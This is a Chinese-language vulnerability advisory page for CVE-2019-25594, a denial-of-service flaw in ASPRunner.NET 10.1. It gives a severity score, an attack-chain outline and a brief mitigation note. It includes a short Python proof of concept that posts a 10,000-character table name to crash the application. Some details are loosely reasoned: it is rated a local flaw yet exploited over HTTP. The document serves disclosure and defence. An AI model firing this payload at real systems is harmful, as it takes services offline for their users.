IPBUF安全漏洞报告
English
CVE-2019-25594 CVSS 6.2 中危

CVE-2019-25594 ASPRunner.NET 拒绝服务漏洞

披露日期: 2026-03-22

漏洞信息

漏洞编号
CVE-2019-25594
漏洞类型
拒绝服务
CVSS评分
6.2 中危
攻击向量
本地 (AV:L)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
ASPRunner.NET

相关标签

拒绝服务DoSASPRunner.NET缓冲区溢出本地攻击

漏洞概述

ASPRunner.NET 10.1版本存在拒绝服务漏洞,允许本地攻击者致使应用崩溃。攻击者通过在创建数据库表时向表名字段提交包含10000个字符的超长字符串,触发应用程序内部异常。该操作会导致程序终止运行,造成服务拒绝,从而严重影响系统的可用性与稳定性,需尽快修复。

技术细节

该漏洞主要源于ASPRunner.NET在处理用户输入数据时缺乏足够的长度校验机制。具体而言,在应用程序创建数据库表的功能模块中,后端程序未对“表名”参数进行严格的边界检查。本地攻击者无需任何认证即可利用此漏洞,通过构造并发送一个包含10000个字符的恶意长字符串作为表名参数。当应用程序尝试处理或存储该超长输入时,会触发缓冲区溢出或内存分配错误,导致发生未处理的异常,最终致使进程崩溃。由于攻击向量为本地(AV:L),且无需用户交互,该漏洞可被用于快速破坏应用服务的可用性。

攻击链分析

STEP 1
步骤1
攻击者获得对运行ASPRunner.NET 10.1应用程序的本地访问权限。
STEP 2
步骤2
攻击者访问应用程序中用于创建数据库表的功能页面。
STEP 3
步骤3
攻击者构造一个包含10000个字符的恶意超长字符串。
STEP 4
步骤4
攻击者将该超长字符串输入到“表名”字段中并提交请求。
STEP 5
步骤5
应用程序因无法处理超长输入而发生内存错误,导致进程崩溃,服务拒绝。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests # Target URL (Example, replace with actual endpoint) target_url = "http://localhost/asprunner/create_table_page" # Generate a payload of 10000 characters to trigger the crash payload = "A" * 10000 # Prepare the data payload, targeting the vulnerable 'table name' field post_data = { "tablename": payload, # Depending on the form structure, other fields may be required } try: # Send the POST request to create the table print("Sending malicious payload to trigger DoS...") response = requests.post(target_url, data=post_data) # Check response (If successful, the app might crash before responding or return 500) print(f"Response Status Code: {response.status_code}") except requests.exceptions.RequestException as e: # Connection errors might indicate the service has crashed print(f"Connection failed or service crashed: {e}")

影响范围

ASPRunner.NET 10.1

防御指南

临时缓解措施
建议立即限制对受影响应用程序的本地访问权限,并在输入端部署Web应用防火墙(WAF)规则以拦截超长参数请求,同时监控应用运行状态以防止崩溃。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表